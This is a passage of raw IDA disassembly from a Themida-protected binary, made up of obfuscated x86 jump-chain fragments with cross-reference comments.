jmp loc_5AF1E6
; ---------------------------------------------------------------------------
loc_598D7F: ; CODE XREF: Themida_:005A7D64j
mov ebx, 4
add edx, 7FE030F0h
jmp loc_5AFE2F
; ---------------------------------------------------------------------------
loc_598D8F: ; CODE XREF: Themida_:0059A2E9j
push dword ptr [esp]
jmp loc_5AEDFC
; ---------------------------------------------------------------------------
loc_598D97: ; CODE XREF: Themida_:0059AA88j
jmp loc_5AEBEA
; ---------------------------------------------------------------------------
loc_598D9C: ; CODE XREF: Themida_:loc_5A08A8j
sub eax, 9E3AE294h
jmp loc_5A6C1F
; ---------------------------------------------------------------------------
loc_598DA6: ; CODE XREF: Themida_:005AD190j
mov ah, bh
jmp loc_59F10B
; ---------------------------------------------------------------------------
loc_598DAD: ; CODE XREF: Themida_:005A3212j
shr esi, 8
jmp loc_5A0799
; ---------------------------------------------------------------------------
loc_598DB5: ; CODE XREF: Themida_:005AE28Dj
mov edi, 79940867h
dec edi
dec edi
push edx
push ecx
mov ecx, 683E6BB7h
or ecx, 11BA3D55h
add ecx, 4B6541CDh
jnb loc_59D1BF
not ecx
inc ecx
jp loc_5A7847
mov bl, 49h
and al, 50h
loc_598DE2: ; CODE XREF: Themida_:005A462Bj
xor eax, 66C06079h
xor eax, 2AFD73C9h
add edx, eax
jmp loc_59AD8E
; ---------------------------------------------------------------------------
loc_598DF3: ; CODE XREF: Themida_:005AF0F0j
shl edx, 1
push ebp
mov ebp, esp
push ebx
mov ebx, 4
jmp loc_5AEBF7
; ---------------------------------------------------------------------------
loc_598E03: ; CODE XREF: Themida_:005AA1EDj
push ebp
jmp loc_5A762F
; ---------------------------------------------------------------------------
loc_598E09: ; CODE XREF: Themida_:005A4788j
add ch, 0DEh
jmp loc_5A1CA2
; ---------------------------------------------------------------------------
loc_598E11: ; CODE XREF: Themida_:loc_59AA7Cj
sub cl, 0D3h
mov ah, cl
pop ecx
xor ah, bl
xor bl, ah
xor ah, bl
not bl
xchg bl, ah
jmp loc_5AF08E
; ---------------------------------------------------------------------------
loc_598E26: ; CODE XREF: Themida_:0059CD62j
pop ebp
add edx, 4
xchg edx, [esp]
pop esp
push esi
mov esi, 327730E8h
or esi, 0A1D7F65h
not esi
neg esi
not esi
jmp loc_5A9E52
; ---------------------------------------------------------------------------
loc_598E45: ; CODE XREF: Themida_:0059F57Dj
add edx, 4F197A6Ah
sub edx, 0D14023Eh
push edi
mov edi, 324C0DB1h
jmp loc_5A592A
; ---------------------------------------------------------------------------
loc_598E5C: ; CODE XREF: Themida_:005AFB50j
mov [esp], edx
push dword ptr [esp+4]
mov edx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_5AF6E3
; ---------------------------------------------------------------------------
loc_598E77: ; CODE XREF: Themida_:005A0C66j
sub bl, ch
push ecx
jmp loc_59A763
; ---------------------------------------------------------------------------
loc_598E7F: ; CODE XREF: Themida_:005A63FBj
pop ebx
add ecx, ebx
jmp loc_5AC10C
; ---------------------------------------------------------------------------
loc_598E87: ; CODE XREF: Themida_:00599DFFj
; Themida_:0059F899j
push dword ptr [esp]
pop eax
add esp, 4
push dword ptr [esp]
jmp loc_59D694
; ---------------------------------------------------------------------------
loc_598E99: ; CODE XREF: Themida_:005AB37Fj
or eax, 3C8E1A1Bh
jmp loc_59BA2E
; ---------------------------------------------------------------------------
loc_598EA3: ; CODE XREF: Themida_:005AA36Fj
add esp, 4
xchg ebx, [esp]
mov esp, [esp]
mov ax, [esp]
push 3552h
mov [esp], esi
jmp loc_5A0C8F
; ---------------------------------------------------------------------------
loc_598EBD: ; CODE XREF: Themida_:005A78ECj
mov ecx, [esp]
add esp, 4
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
jmp loc_599CDA
; ---------------------------------------------------------------------------
loc_598EDA: ; CODE XREF: Themida_:005A0FEBj
mov si, [esp]
push esi
mov esi, esp
jmp loc_59C5FA
; ---------------------------------------------------------------------------
loc_598EE6: ; CODE XREF: Themida_:005A1D93j
dec eax
shr eax, 8
sub esp, 4
mov [esp], ebp
mov ebp, 0DEB6A363h
add eax, ebp
pop ebp
add ecx, eax
push dword ptr [esp]
pop eax
add esp, 4
mov edx, ecx
pop ecx
jmp loc_5A7062
; ---------------------------------------------------------------------------
loc_598F0C: ; CODE XREF: Themida_:005A8E3Dj
push ecx
mov ch, bl
mov ah, ch
pop ecx
mov dh, ah
pop eax
mov bl, ch
mov ch, dh
pop edx
not bl
push 630Dh
jmp loc_5AC0E2
; ---------------------------------------------------------------------------
loc_598F26: ; CODE XREF: Themida_:0059E21Bj
not dword ptr [esp]
jmp loc_5A8617
; ---------------------------------------------------------------------------
loc_598F2E: ; CODE XREF: Themida_:005AF769j
mov cl, 0CEh
mov dh, 0F9h
add dh, cl
pop ecx
sub al, 0A5h
jmp loc_5AF13B
; ---------------------------------------------------------------------------
loc_598F3C: ; CODE XREF: Themida_:0059A4DCj
mov ebp, 3D8205B9h
not ebp
xor ebp, 0A764BB39h
jmp loc_5AB1DB
; ---------------------------------------------------------------------------
loc_598F4E: ; CODE XREF: Themida_:005A2D86j
add edx, 0B454A76Dh
jmp loc_59B5FB
; ---------------------------------------------------------------------------
loc_598F59: ; CODE XREF: Themida_:0059C884j
pop edx
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], edx
push esp
mov edx, [esp]
add esp, 4
push ebp
jmp loc_5A3BC8
; ---------------------------------------------------------------------------
loc_598F74: ; CODE XREF: Themida_:005A7AAFj
xchg ecx, [esp]
mov esp, [esp]
jmp loc_5A1776
; ---------------------------------------------------------------------------
loc_598F7F: ; CODE XREF: Themida_:005A0FF5j
add cl, 6Eh
shr cl, 8
xor cl, 63h
jmp loc_59F81B
; ---------------------------------------------------------------------------
loc_598F8D: ; CODE XREF: Themida_:005999BAj
push ebp
mov ebp, 422935AAh
not ebp
or ebp, 7173159Eh
inc ebp
push edx
mov edx, 0FDF7DFE4h
xor ebp, edx
pop edx
mov ecx, ebp
pop ebp
add esi, ecx
jmp loc_5A856B
; ---------------------------------------------------------------------------
loc_598FAF: ; CODE XREF: Themida_:005A381Bj
add ebx, edx
push eax
mov eax, 73EA7C1Dh
sub ebx, eax
push dword ptr [esp]
pop eax
add esp, 4
push dword ptr [esp]
pop edx
add esp, 4
sub esp, 4
mov [esp], ebp
push esp
pop ebp
jmp loc_5A9977
; ---------------------------------------------------------------------------
loc_598FD7: ; CODE XREF: Themida_:005AAD3Dj
or ebp, 28287460h
or ebp, 16427A2Eh
jmp loc_5A39E4
; ---------------------------------------------------------------------------
loc_598FE8: ; CODE XREF: Themida_:005A1C27j
mov [esp], edx
push 2DA6h
mov [esp], eax
jmp loc_5A95BB
; ---------------------------------------------------------------------------
loc_598FF8: ; CODE XREF: Themida_:005A3F33j
; Themida_:005ACF51j
add ecx, 10D323EEh
jbe loc_5A7E9A
sub esp, 4
jmp loc_5A1AB5
; ---------------------------------------------------------------------------
loc_59900C: ; CODE XREF: Themida_:005A4BF1j
push eax
push 6B4Bh
mov [esp], ecx
mov eax, [esp]
add esp, 4
pop ecx
jmp loc_5AF619
; ---------------------------------------------------------------------------
loc_599024: ; CODE XREF: Themida_:005AA8BFj
; Themida_:005AB021j
push dword ptr [esp+4]
pop eax
jmp loc_5A7895
; ---------------------------------------------------------------------------
loc_59902E: ; CODE XREF: Themida_:005A6EC1j
xchg edi, [esp]
jmp loc_5A2FA2
; ---------------------------------------------------------------------------
loc_599036: ; CODE XREF: Themida_:005A0D40j
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5A493E
; ---------------------------------------------------------------------------
loc_599042: ; CODE XREF: Themida_:0059D3C5j
pop dword ptr [esp]
jmp loc_59B9CB
; ---------------------------------------------------------------------------
loc_59904A: ; CODE XREF: Themida_:0059EAE9j
xchg eax, [esp]
mov esp, [esp]
ror dword ptr [esp], cl
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_599059: ; CODE XREF: Themida_:0059CF51j
; Themida_:005AEC21j
jmp loc_5A9B14
; ---------------------------------------------------------------------------
loc_59905E: ; CODE XREF: Themida_:005A7FEAj
dec ch
sub ch, 1Eh
add bl, ch
pop ecx
push dx
mov dh, 0BEh
jmp loc_5A1069
; ---------------------------------------------------------------------------
loc_59906F: ; CODE XREF: Themida_:005A432Bj
add ebx, 7F4061E4h
jmp loc_5AD810
; ---------------------------------------------------------------------------
loc_59907A: ; CODE XREF: Themida_:005A3E25j
mov [edi+eax*4], bl
pop ebx
mov ecx, [esp]
add esp, 4
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59908C: ; CODE XREF: Themida_:005A3619j
push dword ptr [esp+4]
jmp loc_5ADC23
; ---------------------------------------------------------------------------
loc_599095: ; CODE XREF: Themida_:0059EFB0j
mov ebx, 78AA4F21h
push ecx
mov ecx, 65AE7025h
add ebx, ecx
pop ecx
shr ebx, 2
sub ebx, 7E3C55B6h
jmp loc_5A553D
; ---------------------------------------------------------------------------
loc_5990B1: ; CODE XREF: Themida_:005A1EFFj
xor esi, edi
pop edi
xor esi, 0DC9BD8D4h
add ebp, esi
mov esi, [esp]
add esp, 4
push ebp
push dword ptr [esp+4]
pop ebp
jmp loc_5AEA1E
; ---------------------------------------------------------------------------
loc_5990D0: ; CODE XREF: Themida_:005A637Fj
sub ch, 81h
and dh, ch
push dword ptr [esp]
pop ecx
add esp, 4
add dh, 0FFh
push ebx
mov bh, 9Bh
add dh, 4Ch
add dh, bh
sub dh, 4Ch
push dword ptr [esp]
pop ebx
add esp, 4
or dh, 8Ah
sub dh, 0E9h
jmp loc_5AFCF6
; ---------------------------------------------------------------------------
loc_599102: ; DATA XREF: Themida_:00598850o
push dword ptr [esp]
push dword ptr [esp]
mov edx, [esp]
add esp, 4
push esi
mov esi, esp
jmp loc_5A9B2A
; ---------------------------------------------------------------------------
loc_599119: ; CODE XREF: Themida_:0059FF52j
pop eax
sub esp, 4
jmp loc_59A160
; ---------------------------------------------------------------------------
loc_599122: ; CODE XREF: Themida_:loc_5A19B1j
not ebx
add ebx, 743D4F9Ah
mov ecx, ebx
jmp loc_59B2A8
; ---------------------------------------------------------------------------
loc_599131: ; CODE XREF: Themida_:005A139Ej
; Themida_:005AC262j
sub edi, esi
pop esi
xor [esp+4], edi
mov edi, [esp]
jmp loc_599399
; ---------------------------------------------------------------------------
loc_599140: ; CODE XREF: Themida_:005AF486j
pop ebp
push 3214h
mov [esp], edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
xchg ebp, edi
xor [esp], edi
xor edi, [esp]
xor [esp], edi
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
mov esp, [esp]
jmp loc_5A3A87
; ---------------------------------------------------------------------------
loc_599189: ; CODE XREF: Themida_:0059CD7Bj
pop eax
and esi, 5EC80261h
push esi
push ebp
mov esi, [esp]
add esp, 4
pop ebp
neg ebp
push esi
push ebp
mov esi, [esp]
add esp, 4
jmp loc_5ACB29
; ---------------------------------------------------------------------------
loc_5991AE: ; CODE XREF: Themida_:005A8934j
push dword ptr [esp]
pop ebx
add esp, 4
push ebp
mov ebp, 4
add ebx, ebp
pop ebp
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], esp
push esi
mov esi, 4
add [esp+4], esi
pop esi
pop edi
push ecx
mov ecx, 67C957CDh
shl ecx, 6
jnp loc_59CABB
add ecx, 81CA8826h
push eax
jmp loc_5AD8C8
; ---------------------------------------------------------------------------
add edi, ebx
loc_5991F7: ; CODE XREF: Themida_:005A2E53j
mov ebp, esp
push 379Eh
mov [esp], ebx
mov ebx, 4
add ebp, ebx
pop ebx
jmp loc_5A689A
; ---------------------------------------------------------------------------
loc_59920E: ; CODE XREF: Themida_:005A166Dj
; Themida_:005ABED2j
dec edi
jmp loc_59DB2F
; ---------------------------------------------------------------------------
loc_599214: ; CODE XREF: Themida_:005AABA1j
xor ecx, 3A726568h
mov eax, ecx
pop ecx
add ebp, 36C34C96h
sub ebp, eax
sub ebp, 36C34C96h
pop eax
add ebp, edx
push ebx
mov ebx, 7911513Dh
jmp loc_59C4E7
; ---------------------------------------------------------------------------
align 2
dw 0E9E6h
dd 2852h
; ---------------------------------------------------------------------------
loc_599240: ; CODE XREF: Themida_:005ABDCFj
push esi
mov esi, 3C0473C8h
push ecx
jmp loc_5AB542
; ---------------------------------------------------------------------------
loc_59924C: ; CODE XREF: Themida_:005A18AFj
add [esp+4], ebp
pop ebp
jmp loc_59BADA
; ---------------------------------------------------------------------------
loc_599256: ; CODE XREF: Themida_:005AAFC5j
sub dl, 36h
add dl, 0DBh
mov ah, 0DCh
sub ah, dl
jmp loc_5AF208
; ---------------------------------------------------------------------------
loc_599265: ; CODE XREF: Themida_:005A401Aj
mov [esp], edi
jmp loc_5A757A
; ---------------------------------------------------------------------------
loc_59926D: ; CODE XREF: Themida_:0059C7CEj
; Themida_:005AB02Cj
pop ebx
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
shl word ptr [esp], cl
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_599282: ; CODE XREF: Themida_:005A7ED9j
shl eax, 4
jz loc_59E6DD
add eax, 91C755E4h
add edi, eax
jmp loc_5A320B
; ---------------------------------------------------------------------------
loc_599297: ; CODE XREF: Themida_:005A2076j
shr ebx, 5
push 2A6Bh
mov [esp], ebp
mov ebp, 0A00B55D5h
sub ebx, ebp
mov ebp, [esp]
add esp, 4
xor esi, ebx
push dword ptr [esp]
pop ebx
add esp, 4
sub esi, 28511134h
sub esp, 4
jmp loc_5AF1D3
; ---------------------------------------------------------------------------
loc_5992CC: ; CODE XREF: Themida_:005AC959j
mov ecx, 3E0C2455h
jmp loc_5A32FE
; ---------------------------------------------------------------------------
loc_5992D6: ; CODE XREF: Themida_:0059AF0Bj
; Themida_:005A9243j
add ebp, 5ED860DAh
jmp loc_59E45C
; ---------------------------------------------------------------------------
loc_5992E1: ; CODE XREF: Themida_:005A6D8Cj
add edi, edx
jmp loc_5AA03A
; ---------------------------------------------------------------------------
loc_5992E8: ; CODE XREF: Themida_:005A767Cj
pop ebx
push ecx
mov ch, 0F4h
jmp loc_5A5FF0
; ---------------------------------------------------------------------------
loc_5992F1: ; CODE XREF: Themida_:005A49F9j
; Themida_:005AA721j
push dword ptr [esp+4]
push dword ptr [esp]
pop eax
jmp loc_5A3828
; ---------------------------------------------------------------------------
loc_5992FE: ; CODE XREF: Themida_:0059D681j
; Themida_:005A9504j
and ebp, 392F286Dh
shl ebp, 1
xor ebp, 360E43BDh
add ecx, ebp
mov ebp, [esp]
jmp loc_5ABB26
; ---------------------------------------------------------------------------
loc_599316: ; CODE XREF: Themida_:005A3F86j
mov [esp], ebp
push esi
mov esi, 3C115087h
or esi, 57D56248h
jmp loc_5A28D2
; ---------------------------------------------------------------------------
loc_59932A: ; CODE XREF: Themida_:005A3569j
dec ecx
jmp loc_5A5985
; ---------------------------------------------------------------------------
loc_599330: ; CODE XREF: Themida_:0059D24Cj
xor bh, 97h
jmp loc_59F52D
; ---------------------------------------------------------------------------
loc_599338: ; CODE XREF: Themida_:0059ADE7j
add bh, 0BAh
jmp loc_5A8DBD
; ---------------------------------------------------------------------------
loc_599340: ; CODE XREF: Themida_:005AE657j
movzx cx, al
push 76F9h
mov [esp], edx
mov edx, esp
push 4C7Fh
mov [esp], ebx
push 5A617ADBh
mov ebx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
xor ebx, 5A617ADFh
add edx, ebx
jmp loc_5A9994
; ---------------------------------------------------------------------------
loc_59937B: ; CODE XREF: Themida_:005A160Fj
mov esp, [esp]
push ebp
mov ebp, 88E538Fh
xor ebx, ebp
jmp loc_5A0B67
; ---------------------------------------------------------------------------
loc_59938B: ; CODE XREF: Themida_:005AF799j
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
jmp loc_5AD050
; ---------------------------------------------------------------------------
loc_599399: ; CODE XREF: Themida_:0059913Bj
add esp, 4
jmp loc_5A0256
; ---------------------------------------------------------------------------
loc_5993A1: ; CODE XREF: Themida_:005A14B2j
mov cl, 0EFh
jmp loc_5A70AD
; ---------------------------------------------------------------------------
loc_5993A8: ; CODE XREF: Themida_:005AA52Cj
add eax, 0FD32F44Bh
mov ecx, eax
pop eax
push esi
jmp loc_5A1550
; ---------------------------------------------------------------------------
loc_5993B6: ; CODE XREF: Themida_:loc_5A4B77j
jmp loc_59C584
; ---------------------------------------------------------------------------
loc_5993BB: ; CODE XREF: Themida_:005A595Dj
add edi, esi
add edi, 297A0622h
pop esi
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
mov ax, [esp]
push eax
push ecx
jmp loc_59C6C8
; ---------------------------------------------------------------------------
loc_5993D9: ; CODE XREF: Themida_:0059DDA3j
pop esp
add esi, 3D24349Bh
push ecx
mov ecx, 3C21517Bh
sub esi, 7D8C6780h
sub esi, ecx
add esi, 7D8C6780h
pop ecx
add esi, eax
jmp loc_5A9F5A
; ---------------------------------------------------------------------------
loc_5993FC: ; CODE XREF: Themida_:005AA0B9j
pop bp
add dx, 25F8h
add dx, bx
jmp loc_5A2977
; ---------------------------------------------------------------------------
loc_59940B: ; CODE XREF: Themida_:005ABC43j
pop edx
mov esi, eax
pop eax
push esi
add dword ptr [esp], 7DEE63E9h
jmp loc_59973D
; ---------------------------------------------------------------------------
loc_59941C: ; CODE XREF: Themida_:0059CAB6j
pop ecx
jmp loc_59D95E
; ---------------------------------------------------------------------------
loc_599422: ; CODE XREF: Themida_:005A2ED1j
add edx, 0E04AF5ACh
sub esi, edx
pop edx
add ebx, esi
push dword ptr [esp]
pop esi
add esp, 4
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
xor bl, al
movzx eax, al
pop small word ptr [edi+eax*4]
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59944E: ; CODE XREF: Themida_:0059E7ECj
add esi, 4
jmp loc_59DF3A
; ---------------------------------------------------------------------------
loc_599456: ; DATA XREF: Themida_:0059871Co
lodsd
xor eax, ebx
sub esp, 4
mov [esp], ecx
sub esp, 4
mov [esp], edi
mov edi, 215D47E3h
sub edi, 154A2BDDh
jmp loc_59E3E1
; ---------------------------------------------------------------------------
loc_59947B: ; DATA XREF: Themida_:00598730o
mov cx, [esp]
jmp loc_59F652
; ---------------------------------------------------------------------------
loc_599484: ; CODE XREF: Themida_:005AC140j
push ebp
mov ebp, 67431B4Bh
sub ebp, 67DB93Fh
add ebx, ebp
mov ebp, [esp]
add esp, 4
add ebx, esi
push esi
mov esi, 51D7524Bh
and esi, 34CC775Fh
jmp loc_5A79FE
; ---------------------------------------------------------------------------
loc_5994AE: ; CODE XREF: Themida_:005A8499j
; DATA XREF: Themida_:00598834o
mov ecx, [esp]
push 3816h
jmp loc_5A354D
; ---------------------------------------------------------------------------
loc_5994BB: ; CODE XREF: Themida_:005AE49Dj
xor edi, 5616CA1Bh
or esi, edi
pop edi
jmp loc_5A1850
; ---------------------------------------------------------------------------
loc_5994C9: ; CODE XREF: Themida_:0059F75Bj
neg eax
sub eax, 11F7667Ch
jmp loc_5AEEF1
; ---------------------------------------------------------------------------
loc_5994D5: ; CODE XREF: Themida_:005A123Ej
pop ax
jmp loc_59D96F
; ---------------------------------------------------------------------------
loc_5994DC: ; CODE XREF: Themida_:005AA268j
mov esi, [esp]
add esp, 4
jmp loc_5A0426
; ---------------------------------------------------------------------------
loc_5994E7: ; CODE XREF: Themida_:005A8DD3j
pop ebx
jmp loc_59996F
; ---------------------------------------------------------------------------
loc_5994ED: ; CODE XREF: Themida_:005A07B6j
mov edi, 4
sub edx, 1CE4DBEh
add edx, edi
push ebx
mov ebx, 63F54A94h
add ebx, 1A1332E2h
shl ebx, 2
sub ebx, 30822CF2h
sub ebx, 0C5D17B28h
add edx, ebx
mov ebx, [esp]
add esp, 4
jmp loc_5A9C76
; ---------------------------------------------------------------------------
loc_599522: ; CODE XREF: Themida_:005ABDE8j
sub esp, 4
jmp loc_59CE87
; ---------------------------------------------------------------------------
loc_59952D: ; CODE XREF: Themida_:005A546Cj
neg eax
xor eax, 0B3648F49h
add edx, eax
jmp loc_59EF46
; ---------------------------------------------------------------------------
loc_59953B: ; CODE XREF: Themida_:0059F474j
xchg ebx, [esp]
mov esp, [esp]
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
push 3E3Ch
mov [esp], ebx
jmp loc_5AA8D0
; ---------------------------------------------------------------------------
loc_59955B: ; CODE XREF: Themida_:005A80E7j
add ebx, eax
pop eax
jmp loc_5A99C0
; ---------------------------------------------------------------------------
loc_599563: ; CODE XREF: Themida_:005A7EE6j
jmp loc_59CD4D
; ---------------------------------------------------------------------------
loc_599568: ; CODE XREF: Themida_:005A2674j
add ebp, eax
pop eax
xchg ebp, [esp]
mov esp, [esp]
add ebp, 4
jmp loc_5AFA09
; ---------------------------------------------------------------------------
loc_59957C: ; CODE XREF: Themida_:005ACC5Bj
ja loc_5AD852
push ecx
push ebp
mov ebp, 4BE772F3h
mov ecx, ebp
pop ebp
and edx, ecx
loc_59958E: ; CODE XREF: Themida_:005A4977j
pop edi
add edi, 4
sub esp, 4
mov [esp], ebx
push 56F4h
jmp loc_59BAE0
; ---------------------------------------------------------------------------
loc_5995A8: ; CODE XREF: Themida_:005AFDE3j
not eax
add eax, 0FABAD2CDh
jmp loc_5AE726
; ---------------------------------------------------------------------------
loc_5995B4: ; CODE XREF: Themida_:0059FCAAj
; Themida_:loc_5A30BBj
pop ebx
push ecx
mov ecx, 3DA0A5Eh
add ecx, 7C45DB7h
and edx, ecx
jmp loc_5A093A
; ---------------------------------------------------------------------------
loc_5995C8: ; CODE XREF: Themida_:0059FDD7j
mov ebx, 4B41792Eh
jmp loc_5A9C1D
; ---------------------------------------------------------------------------
loc_5995D2: ; CODE XREF: Themida_:005A3928j
sub bl, dl
pop dx
add bl, 47h
add bl, al
sub bl, 47h
add bl, 0C8h
mov eax, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
shr bl, 5
jnz loc_5A811A
or bl, 95h
jno loc_5AB2CA
jmp loc_5A33E3
; ---------------------------------------------------------------------------
loc_59960E: ; CODE XREF: Themida_:005A0ACCj
add edi, edx
pop edx
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
jmp loc_5A886C
; ---------------------------------------------------------------------------
loc_599620: ; CODE XREF: Themida_:005AF091j
dec ah
jmp loc_5A691D
; ---------------------------------------------------------------------------
loc_599627: ; CODE XREF: Themida_:005A3BC3j
dec ebp
xor ebp, 526D4080h
jmp loc_5AA2EA
; ---------------------------------------------------------------------------
loc_599633: ; CODE XREF: Themida_:005A19D7j
add al, 25h
jmp loc_5A38E8
; ---------------------------------------------------------------------------
loc_59963A: ; CODE XREF: Themida_:0059FE14j
sub edx, 0FFFFFFFFh
shl edx, 2
jmp loc_5AD280
; ---------------------------------------------------------------------------
loc_599648: ; CODE XREF: Themida_:005AED7Ej
add edx, edi
add edx, 38364848h
mov edi, [esp]
add esp, 4
add edx, 2
xor edx, [esp]
xor [esp], edx
jmp loc_5A71AC
; ---------------------------------------------------------------------------
loc_59966A: ; CODE XREF: Themida_:005A93C6j
not ebx
jmp loc_5AB42F
; ---------------------------------------------------------------------------
loc_599671: ; CODE XREF: Themida_:005A29E8j
push edx
push 13AD77CCh
mov edx, [esp]
add esp, 4
jmp loc_5AE88D
; ---------------------------------------------------------------------------
loc_599682: ; CODE XREF: Themida_:005AC49Bj
push eax
mov eax, 0CB43C34h
add eax, 156E2AA7h
jle loc_5A49EA
neg eax
shr eax, 1
jnz loc_59B6F8
add eax, 0AF474029h
inc eax
xor al, 88h
mov bl, dl
loc_5996A7: ; CODE XREF: Themida_:005AA350j
add dword ptr [esp+4], 68EE430Ch
mov eax, [esp]
push 2Eh
mov [esp], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
pop eax
push 6B66h
mov [esp], edx
jmp loc_5AB8EC
; ---------------------------------------------------------------------------
loc_5996DA: ; CODE XREF: Themida_:005AF1DBj
pop ebx
sub ebx, 48B92AFEh
jmp loc_5A101F
; ---------------------------------------------------------------------------
loc_5996E6: ; CODE XREF: Themida_:005A67ACj
add eax, edi
pop edi
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], edx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_5A730C
; ---------------------------------------------------------------------------
loc_599707: ; CODE XREF: Themida_:0059DFA4j
xchg edx, [esp]
mov esp, [esp]
mov [esp], eax
xor [esp], eax
xor eax, [esp]
xor [esp], eax
xchg eax, edi
not edi
xchg eax, edi
push eax
jmp loc_5A62D9
; ---------------------------------------------------------------------------
loc_599723: ; CODE XREF: Themida_:005AB79Fj
shr edi, 6
xor edi, 261334F6h
xor edi, 3431720Dh
xor edi, 7AD6EBEBh
jmp loc_5A37B4
; ---------------------------------------------------------------------------
loc_59973D: ; CODE XREF: Themida_:00599417j
pop ebx
sub ebx, 7DEE63E9h
pop esi
jmp loc_59CD01
; ---------------------------------------------------------------------------
loc_59974A: ; CODE XREF: Themida_:005ACA6Cj
xchg ebp, [esp]
pop esp
push ebx
add dword ptr [esp], 41B025C7h
pop edx
sub edx, 41B025C7h
pop ebx
push esi
mov esi, 0FFFFFFFFh
sub edx, 7C3C4A60h
sub edx, esi
jmp loc_5AB651
; ---------------------------------------------------------------------------
loc_599771: ; CODE XREF: Themida_:0059DE9Fj
pop edx
sub ebx, 4
push 75D9h
jmp loc_5AE949
; ---------------------------------------------------------------------------
loc_59977F: ; CODE XREF: Themida_:005A3548j
mov ebp, edi
push ebp
jmp loc_59E113
; ---------------------------------------------------------------------------
loc_599787: ; CODE XREF: Themida_:005A1F63j
shr cl, 5
push edx
mov dl, 4Bh
jmp loc_59ED50
; ---------------------------------------------------------------------------
loc_599792: ; CODE XREF: Themida_:005AC189j
push 6A79h
mov [esp], esi
mov esi, 73C9346Ch
add esi, 0FFFFFFFFh
jmp loc_59C8FB
; ---------------------------------------------------------------------------
loc_5997A7: ; CODE XREF: Themida_:005AEE72j
mov al, cl
pop ecx
sub bl, 0BAh
add bl, 0C9h
add bl, 0F7h
add bl, al
sub bl, 0F7h
sub bl, 0C9h
jmp loc_5A1954
; ---------------------------------------------------------------------------
loc_5997C0: ; CODE XREF: Themida_:005A51B3j
; Themida_:005A54EEj
mov [esp], ebx
mov ebx, 4
add ebp, ebx
jmp loc_5A04D3
; ---------------------------------------------------------------------------
loc_5997CF: ; CODE XREF: Themida_:005AEAC9j
pop ebx
xchg ebp, [esp]
mov esp, [esp]
jmp loc_5A69B9
; ---------------------------------------------------------------------------
loc_5997DB: ; CODE XREF: Themida_:005A0C8Aj
push ebp
mov ebp, 72647F03h
add ebp, 768028A4h
jmp loc_59A26D
; ---------------------------------------------------------------------------
loc_5997EC: ; CODE XREF: Themida_:0059E981j
or ebx, 6A595B08h
add ebx, 15A600DCh
add edi, ebx
jmp loc_5AA2D2
; ---------------------------------------------------------------------------
loc_5997FF: ; CODE XREF: Themida_:005998ADj
mov esp, [esp]
push edx
push ebx
push eax
mov ah, 0CFh
sub ah, 10h
jo loc_59B3D4
xor ah, 0EFh
mov bh, ah
jmp loc_5AF5A7
; ---------------------------------------------------------------------------
loc_59981A: ; CODE XREF: Themida_:0059DA6Dj
mov [esp], esi
mov esi, 77D808A7h
mov ebx, 8827F75Dh
jmp loc_59A265
; ---------------------------------------------------------------------------
loc_59982C: ; CODE XREF: Themida_:005A7855j
shr bl, 8
push eax
jmp loc_5ABF30
; ---------------------------------------------------------------------------
loc_599835: ; CODE XREF: Themida_:005A2DDDj
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_59B307
; ---------------------------------------------------------------------------
loc_599849: ; CODE XREF: Themida_:0059E323j
push ecx
push edx
push 6E9F389Dh
pop edx
jmp loc_5A27FD
; ---------------------------------------------------------------------------
loc_599856: ; CODE XREF: Themida_:005A83E3j
xor edi, 4CB74890h
mov ecx, edi
jmp loc_5A82E9
; ---------------------------------------------------------------------------
loc_599863: ; CODE XREF: Themida_:005AE44Aj
add ebx, 6AA05C9Ah
jmp loc_59BFD5
; ---------------------------------------------------------------------------
loc_59986E: ; CODE XREF: Themida_:loc_5A233Aj
add dl, 0D7h
add bl, dl
pop edx
sub bl, 94h
sub bl, 49h
jmp loc_59E25A
; ---------------------------------------------------------------------------
loc_59987F: ; CODE XREF: Themida_:005AE899j
shl edx, 6
jmp loc_5A00ED
; ---------------------------------------------------------------------------
loc_599887: ; CODE XREF: Themida_:005A0AE9j
add ebx, eax
sub ebx, 5FC70574h
add ebx, 42F96089h
push dword ptr [eax]
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59989C: ; CODE XREF: Themida_:005A402Aj
push esi
mov esi, 4
jmp loc_5AE050
; ---------------------------------------------------------------------------
loc_5998A7: ; CODE XREF: Themida_:005AF6C3j
xor [esp], ecx
xor ecx, [esp]
jmp loc_5997FF
; ---------------------------------------------------------------------------
loc_5998B2: ; CODE XREF: Themida_:005A7CDBj
push ebp
mov ebp, esp
push edi
mov edi, 61D66C2h
shr edi, 8
shr edi, 6
shr edi, 8
shl edi, 7
xor edi, 0C04h
jmp loc_5AAA78
; ---------------------------------------------------------------------------
loc_5998D2: ; CODE XREF: Themida_:005A865Fj
mov eax, 61757757h
neg eax
sub eax, 9E8A88A5h
sub edx, 54911C55h
add edx, eax
add edx, 54911C55h
push dword ptr [esp]
pop eax
push eax
jmp loc_59EC27
; ---------------------------------------------------------------------------
loc_5998F6: ; CODE XREF: Themida_:005A4B72j
